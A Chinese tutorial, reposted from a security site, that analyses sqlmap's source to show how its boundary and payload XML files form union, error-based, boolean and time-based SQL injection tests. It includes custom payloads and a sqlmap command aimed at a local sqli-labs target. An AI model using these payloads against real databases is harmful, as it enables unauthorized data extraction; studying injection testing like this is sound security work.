從sqlmap源碼看如何自定義payload


轉自安全客

 

前言

sqlmap一直是sql注入的神器。但是有時候它檢測不出來注入點,這時就需要配合手動檢測。今天我們就從源碼角度來看一下sqlmap是如何判斷是否可以注入的,以及如何根據我們手動測試的結果來”引導” sqlmap 進行注入。

 

sqlmap payload

sqlmap的payload在目錄的/xml文件夾中,其關鍵是payload的文件夾中的六個文件和boundaries.xml文件

mysql中一共有6中注入方式

U: UNION query SQL injection(可聯合查詢注入) E: Error-based SQL injection(報錯型注入) B: Boolean-based blind SQL injection(布爾型注入) T: Time-based blind SQL injection(基於時間延遲注入) S: Stacked queries SQL injection(堆疊注入) Q:Inline queries(嵌套查詢注入)。 

先看一下boundaries.xml,在文件中第一行就有對<boundary>的解釋

How to prepend and append to the test ‘ <payload><comment> ‘ string.

意思就是怎樣在前面和后面來添加test的payload,這個標簽定義了sqlmap注入語句的邊界問題,包括注入的發包數量等級,使用的查詢從句,注入的位置,使用的特殊字符,前綴,后綴等。為我們清晰地划分了sqlmap注入時的所需要的各個模塊等級。

拿個例子看一下

    <boundary> <level>3</level> <clause>1</clause> <where>1,2</where> <ptype>1</ptype> <prefix>)</prefix> <suffix>[GENERIC_SQL_COMMENT]</suffix> </boundary> 
  • level 標簽定義了注入的等級,用—level參數表示,等級越高使用的payload越多
    • 1:默認是1(<100 requests)
    • 2:大於等於2的時候也會測試HTTP Cookie頭的值(100-200 requests)
    • 3: 大於等於3的時候也會測試User-Agent和HTTP Referer頭的值(200-500 requests)
    • 4: (500-1000 requests)
    • 5: (>1000 requests)

ptype 指 payload的類型
prefix payload之前要拼接哪些字符
suffix: payload之后拼接那些字符
clause 指示了使用的查詢語句的類型,可以同時寫多個,用逗號隔開。

where 如何添加 <prefix> <payload><comment> <suffix>,是否覆蓋參數

clause和where 標簽實際上是控制<test> 和 <boundary>能否拼接的,規則如下

當且僅當某個boundary元素的where節點的值包含test元素的子節點where的值(一個或多個),clause節點的值包含test元素的子節點的clause的值(一個或多個)時候,該boundary才能和當前的test匹配生成最終的payload

下面看一下payload文件夾下的內容


    <test> <title>AND boolean-based blind - WHERE or HAVING clause</title> <stype>1</stype> <level>1</level> <risk>1</risk> <clause>1,8,9</clause> <where>1</where> <vector>AND [INFERENCE]</vector> <request> <payload>AND [RANDNUM]=[RANDNUM]</payload> </request> <response> <comparison>AND [RANDNUM]=[RANDNUM1]</comparison> </response> </test> 

title=>title屬性為當前測試Payload的標題,通過標題就可以了解當前的注入手法與測試的數據庫類型

stype=>查詢類型
level=>和前面一樣
risk=>風險等級,一共有三個級別,可能會破壞數據的完整性
clause=>指定為每個payload使用的SQL查詢從句,與boundary中一致
where=>與boundary中一致
vector=>指定將使用的注入模版
payload=>測試使用的payload ,[RANDNUM],[DELIMITER_START],[DELIMITER_STOP]分別代表着隨機數值與字符。當SQLMap掃描時會把對應的隨機數替換掉,然后再與boundary的前綴與后綴拼接起來,最終成為測試的Payload。
common=>payload 之后,boundary 拼接的后綴suffix之前
char=>在union 查詢中爆破列時所用的字符
columns=>聯合查詢測試的列數范圍
response=>根據回顯辨別這次注入的payload是否成功
comparison=>使用字符串作為payload執行請求,將響應和負載響應進行對比,在基於布爾值的盲注中有效
grep=>使用正則表達式去批結響應,判斷時候注入成功,在基於錯誤的注入中有用
time=>在基於time的注入中等待結果返回的所需要的時間
detail=>下設三個子節點

最終的payload為

where + boundary.prefix+test.payload + test.common + +boundary.suffix

這兩個文件實際上就是用來相互拼接的,而whereclause 決定着 boundary和test能否進行拼接,這兩個文件的各個部分之間是多對多映射的關系

sqlmap在調用payload的時候,首先會調用payload文件夾下的文件中的相應部分,接着在根據test 標簽在的whereclause決定怎么對payload進行前后拼接

 

union 注入

流程圖如下

先看一個union的payload 標簽是由什么組成的


<test> <title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title> <stype>6</stype> <level>1</level> <risk>1</risk> <clause>1,2,3,4,5</clause> <where>1</where> <vector>[UNION]</vector> <request> <payload/> <comment>[GENERIC_SQL_COMMENT]</comment> <char>[CHAR]</char> <columns>[COLSTART]-[COLSTOP]</columns> </request> <response> <union/> </response> </test> 

request=>就是我們語言請求判斷的語句的組成部分
vector=>就是我們之后union的注入模板,
char=>是用來填充列的字符,默認是NULL 有時也用隨機字符來替代,我們可以用--union-char=1來指定填充的字符
comment=>是payload后面的添加的數據
column=>就是爆破的列的數量,會隨着level的變大而增多,我們可以自己指定列數--union-cols=3來指定注入的列數,如果我們可以自己手動測出來列數的話,會大大提高注入成功的幾率

下面開始調試

先獲取方法和payload 標簽里面的內容,但是在union的payload文件中,payload文件是空的,這里獲取的值就是空,然后就是根據方法來進入相應的模塊。

進入union模塊以后,首先獲取了char 和column標簽里面的內容,接着就是檢查是否確認數據庫類型
,接着進入unionTest函數

def unionTest(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 3*50 times """ if conf.direct: return kb.technique = PAYLOAD.TECHNIQUE.UNION validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if validPayload: validPayload = agent.removePayloadDelimiters(validPayload) return validPayload, vector 

注釋里面說的很清楚了,這個函數就是用來檢測目標頁面是否可以進行union注入,在其中_unionTestByCharBruteforce函數比較重要,因為它返回了payload和vector,跟進去看一下

我們調試時已經指定了注入的列數,所以會進入這個判斷

    if conf.uColsStop == conf.uColsStart: count = conf.uColsStart 

然后進入

接着就是_unionPosition,在這個函數里面,首先根據我們指定的column的值,生成了(0-position -1)的tuple,其實也就是注入的位置,將其打亂順序,之后開始遍歷這些位置,看哪些位置可以進行注入

然后經過了四個函數

randQuery = randomStr(charCount)
phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower() randQueryProcessed = agent.concatQuery("'%s'" % randQuery) randQueryUnescaped = unescaper.escape(randQueryProcessed) 

結果分別如下

  • 1=>生成一個隨機字符串
  • 2=>將字符串和開頭結尾字符串拼接
  • 3=> 將2中的字符串和concat函數拼接,首尾分別就是2拼接的首尾
  • 4=>將3中的字符串全都換成16進制的 由於mysql會自動將16進制轉為字符串,所以這里也是可以的

接着進入queryPage去請求頁面,同時返回page,code,headers

接着就將headers和page拼接起來,然后判斷上面2中生成的phrase時候在拼接的字符串中,也就是在驗證,我們要查詢的字符串之后出現在了頁面上,先用in判斷,然后又用正則去判斷頁面是否出現了我們要拼接的字符串

然后將一些值賦值給vector

  vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False) 

然后在下面又進行和上面相同的操作,唯一不同就是把vector的最后一個值賦值成了True

接着就是一路返回了

然后就是將injectable = True

然后又是相同的檢驗

        if not checkFalsePositives(injection): kb.vulnHosts.remove(conf.hostname) if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE) 

接着根據機組不同的payload再次檢驗是否可以注入

然后就是進入action函數,開始獲得數據

但是如果我們沒有指定column=3的話,就可能不能注出數據

首先我們使用填充數據1來做實驗

這里和上面唯一不同的是

問題正是出現在這里,接着我們來看一下具體是怎么實現的

里面最關鍵的環節是

 for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) 

循環遍歷1-10作為column,進行注入,接着使用頁面相似算法來判斷是否存在注入,而這個算法在我們輸入char=1時,會返回false,也就是頁面和之前的相似度太高了,沒辦法分別,這里並內有使用in 或者正則來判斷,所以在嘗試字段為3時,payload為

-9609' UNION ALL SELECT 1,1,1-- JHGG 

按理說頁面會出現 1

但是呢,由於數據量太小,還是會被判定為false,那要怎么辦呢?

1、使用時,如果字段數比較好判斷的話,就自己加上字段數量,這樣的效率會更高
2、或者,如果字段數實在比較難判斷的話,將填充字符換成更長的字符串,比如將1換為1111111

此時就能獲得數據了。

 

基於錯誤的注入

流程圖

以第一個payload為例

test>
        <title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title> <stype>2</stype> <level>4</level> <risk>1</risk> <clause>1,2,3,8,9</clause> <where>1</where> <vector>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector> <request> <!-- These work as good as ELT(), but are longer <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> --> <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> </request> <response> <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> </response> <details> <dbms>MySQL</dbms> <dbms_version>&gt;= 5.5</dbms_version> </details> </test> 

先看這里比較關鍵的三個標簽 <payload>,vector,<grep>

我們先看下比較關鍵的代碼部分,前面的初始化過程就不說了,直奔主題


boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where

這三個語句進行了payload的拼接,將payload和boundary里面的前綴后綴拼接,同時還將payload里面的[]包裹的占位符,替換為隨機的字符和數字

接着進入了一個循環,然后有一個函數agent.cleanupPayload將我們<grep>標簽里面的內容進行了替換

<grep>[DELIMITER_START](?P<result></result>.*?)[DELIMITER_STOP]</grep> 'qqxqq(?P<result>.*?)qqqkq' 

觀察上面的payload中concat拼接的內容x71x71x78x71x71轉為ascii以后就是qqxqq后面也是一樣的,這樣就是為了方便判斷注入是否成功,如過頁面中出現了qqxqq + *** + qqqkq就表示注入成功了。

<grep>標簽的作用就是進行結果的判斷

然后進入

這個函數進行請求,並返回頁面和header

在這個函數中,首先會自動添加頭信息

 headers = OrderedDict(conf.httpHeaders) 

然后對payload進行url 編碼

  payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus) 

接着將payload前面的占位符去掉

   value = agent.removePayloadDelimiters(value) 

添加referer

referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value 

然后就返回page,header,和code

  page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) 

然后就進入了結果比較的函數

   output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) 

跟一下

然后就開始了正則匹配

可以看到,<grep>標簽里面的內容,就是我們要使用的正則語句,而?P<result>

如果匹配到的話,就會將match置為true表示可以注入

然后就會將query 換成對應的payload 進行注入

大致總結一下流程,重要的標簽有三個<payload>,vector,<grep> ,大致流程如下

1、首先獲取payload標簽的內容,這個標簽也是我們可以控制的標簽,這個標簽就是用來判斷是否有注入點,一般我們手動測到有報錯注入的注入點的時候,就可以把payload放在這里
2、 接着對payload里面的[]中的標志位換成隨機的字符或數字
3、然后對payload進行url編碼,同時設置請求頭,包括referer,host等信息
4、請求后返回獲取的頁面,然后將返回的頁面和<grep>中的內容繼續寧正則匹配,匹配后,如果返回值不為1,那么就會繼續循環測試其它的payload。如果正則匹配返回值為1,那么,表示存在注入,此時就會進行其他數據的查詢

5、返回值是1,接着就會調用vector,調用注入模板,將([query]),換為其它的payload,獲取我們想要的信息

 

基於Boolean的注入

流程圖

我們先了解一下Boolean的payload結構

<test> <title>OR boolean-based blind - WHERE or HAVING clause</title> <stype>1</stype> <level>1</level> <risk>3</risk> <clause>1,9</clause> <where>2</where> <vector>OR [INFERENCE]</vector> <request> <payload>OR [RANDNUM]=[RANDNUM]</payload> </request> <response> <comparison>OR [RANDNUM]=[RANDNUM1]</comparison> </response> </test> 

比較重要的就是如下幾個部分

where=> 控制參數覆蓋的方式,有1,2,3三個值
vector=> 當我們判定可以進行注入的時候,就會將獲取數據的各種payload替換[INFERENCE]
payload=> 頁面出現我們想要的字符時的payload
comparison=> 頁面錯誤的payload

很明顯,基於boolean的盲注至少要發送兩次payload,一次發送comparison,當作為錯誤的頁面,也就是沒有任何反應的頁面,另外一次就是發送payload此時,頁面會出現一些不一樣的字符,而恰好我們可以通過這些字符來判斷是否可以進行注入

接着再介紹兩個參數

  • —string 我們插入的查詢語句的boolean 值= 1時,頁面中出現的字符串
  • —not-string 我們插入的查詢語句的boolean 值= 0時,頁面中出現的字符串

這兩個參數異常重要,不然根據sqlmap自己的頁面相似算法,會漏掉很多情況

下面我們用一個例子來看一下,payload時如何利用的,怎么樣才能自己控制payload呢?

這個例子就是sqli-labs level-8,手動測一下看是否存在注入點

有回顯

沒有回顯

說明存在注入點,先用sqlmap跑一下

py -2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=*" --dbs --level 3 --batch --threads=10 --technique=B -v 3 --not-string="You are in..........." --dbms="Mysql" 

結果:

好了,接下來就是自己修改payload了,先貼上修改后的payload


 <test> <title>AND boolean-based blind - WHERE or HAVING clause</title> <stype>1</stype> <level>1</level> <risk>1</risk> <clause>1,8,9</clause> <where>1</where> <vector> 0' ^ ([INFERENCE]) ^ 1</vector> <request> <payload>0' ^ 1 ^ 1</payload> </request> <response> <comparison>0' ^ 0 ^ 1</comparison> </response> </test> 

注意:
1、在我們指定sqlmap進行注入的時候,我們的注入的語句的返回值一般為1,所以呢會將我們注入點為1的語句寫進payload標簽
2、而在 comparison 中的payload就是注入語句返回0的情況。
3、在本例中將注入語句寫入中間,所以當注入語句為真時,頁面是什么都沒有的
4、當注入語句為false時,頁面中有you are in .....
5、所以此時要用到參數 --not-string
6、在vector 標簽中,[INFERENCE]將來要替換為payload,這里我們使用了異或,所以要加括號。

接着就開始調試了,前面的一系列配置就不說了,直接來到重點的地方

這里對payload文件夾下的所有payload進行了遍歷,獲取method和check

接下來就是比較重要的點了

kb.matchRatio = None kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE) Request.queryPage(genCmpPayload(), place, raise404=False) falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode falseRawResponse = "%s%s" % (falseHeaders, falsePage) 

這里的falsepage其實就是調用了comparison中的payload,請求以后獲取的頁面,請求后獲取headers和狀態碼和頁面內容

其中調用了queryPage函數,這個是sqlmap中的頁面請求函數,在請求url的時候,會將payload中[]里的東西替換成隨機數字或字符,同時去掉首尾兩端的占位符,接着會對url來進行進行一次url編碼,然后返回頁面內容

接着調用payload標簽里面的payload再次請求


trueResult = Request.queryPage(reqPayload, place, raise404=False) truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode trueRawResponse = "%s%s" % (trueHeaders, truePage) 

此時的結果就作為trueResult。

接着就將Truepage和FalsePage進行比較

然后進行一系列的判斷,最后將injectable賦值為true,表示可以注入

但是這還沒有結束

接了下來進入一個循環,然后把test中的payload全都遍歷一遍

然后就進入了特別重要的一個環節:注入的再次驗證

跟進去看一下

checkFalsePositives函數中,首先獲取了三個隨機值,且randInt3 > randInt2 > randInt1

然后就是再驗證環節


if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)): retVal = False break # Just in case if DBMS hasn't properly recovered from previous delayed request if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: checkBooleanExpression("%d=%d" % (randInt1, randInt2)) if checkBooleanExpression("%d=%d" % (randInt1, randInt3)): # this must not be evaluated to True retVal = False break elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)): # this must not be evaluated to True retVal = False break elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)): # this must be evaluated to True retVal = False break 

這幾個語句分別把randInt3 、randInt2 、randInt1 任意兩個放入checkBooleanExpression函數,替換
vector 標簽中的[INFERENCE],去請求頁面,同時會判斷頁面是否相同,這個算是最后注入前的預判定,一旦這幾個任意一個返回false的話,就會判斷不存在注入點,這也payload是這樣的

他會根據我們的level值,進行循環,level的值就是循環的輪數

全都判斷為True以后,就會判斷真的存在注入

接着返回可用的payload

接着呢就是用各種payload對[INFERENCE]進行替換

最后出結果

總結一下

1、payload 和comparison不要搞混了,payload中的是我們的注入語句為True時的payload。比如上面的例子,我們把注入語句放在中間了0' ^ ([INFERENCE]) ^ 1,所以payload標簽的內容就是 admin' ^ 1 ^ 1
2、comparison中的是我們的注入語句為False時的payload,所以它里面的語句是admin' ^ 0 ^ 1
3、然后根據payload標簽中的語句去請求頁面,如果頁面有特殊的回顯,就用—string,反之,使用comparison中的語句有特殊的回顯的話,就使用--not-string
4、—string 是當我們輸入payload后,即整個傳遞的參數為True時頁面中出現的內容
5、—not-string 是我們在我們輸入payload后,即整個傳遞的參數為false時頁面中出現的內容

最終結果

 

基於時間的注入

流程圖

先看payload


 <test> <title>MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)</title> <stype>5</stype> <level>1</level> <risk>1</risk> <clause>1,2,3,8,9</clause> <where>1</where> <vector>1' and sleep(if([INFERENCE],[SLEEPTIME],0))</vector> <request> <payload>1' and sleep(if(1=1,[SLEEPTIME],0))</payload> </request> <response> <time>[SLEEPTIME]</time> </response> <details> <dbms>MySQL</dbms> <dbms_version>&gt;= 5.0.12</dbms_version> </details> </test> 

比較重要的點有這幾個:

1、vector 調用模板,在vector的[INFERENCE]中的是將來替換payload的,我們可以先看一下sqlmap自帶的payload是長什么樣的

2、將上面的payload拆解一下[SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME]))最關鍵的就是這個了,當if的判斷返回True時,if的值為0.此時在用默認的[SLEEPTIME]去減,此時,如果語句發揮true,sleep([SLEEPTIME]),如果if判斷為假的話,返回[SLEEPTIME],最終sleep的值就是0,所以上面的payload構造是正確的,不然我們自己構造payload時,寫反了,就不能注入了
3、<time>中的內容就是sleep的時間,默認是5

接下來開啟調試,具體看一下是怎么運行的

首先獲取check就是payload中response標簽下的數據,同時也獲取了method

然后呢進入time中,首先就是queryPage進行請求獲取一下頁面的值和狀態碼

這次請求的payload是

就是payload標簽里面的東西,前后那兩個占位符不需要考慮。請求的是會自動去掉的

這個函數的前半部分是對url的處理,進行一系列的判斷后,將一些占位符替換成確定的值或者隨機數,去掉payload首尾的占位符,最后對url進行url編碼

然后進入

將我們上次請求的時間和標准進行對比

threadData里面儲存了上一次請求的很多數據,包括page,code,header,同時也有響應時間

此時trueResult 返回真,然后進入if的判斷,接着再次進行了請求,應該是為了排除網絡延遲的可能

payload也是一模一樣的,如果此時依然返回true,此時就可以認定可以進行注入了

會將Injectable設置為true

接下來進入了

和基於boolean的注入一樣,這里會進行再次檢測,這里檢測使用就是 <vector>里面的payload,只是將其中的[INFERENCE]換成了一次隨機值

首先隨機選取三個隨機值,然后將這三個隨機值進行不同的兩兩組合


            if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)): retVal = False break # Just in case if DBMS hasn't properly recovered from previous delayed request if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: checkBooleanExpression("%d=%d" % (randInt1, randInt2)) if checkBooleanExpression("%d=%d" % (randInt1, randInt3)): # this must not be evaluated to True retVal = False break elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)): # this must not be evaluated to True retVal = False break elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)): # this must be evaluated to True retVal = False break 

結果

這里會根據level的值,然后進行循環

來判斷<vector>里面的payload是否可用

全都返回TRUE以后,就會進行嘗試payload注入數據

 

總結

今天主要分析了前四種的注入的payload修改,已經可以使用大部分的注入了。還有很多東西沒有分析到,如果有什么錯誤,還請各位師傅斧正。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM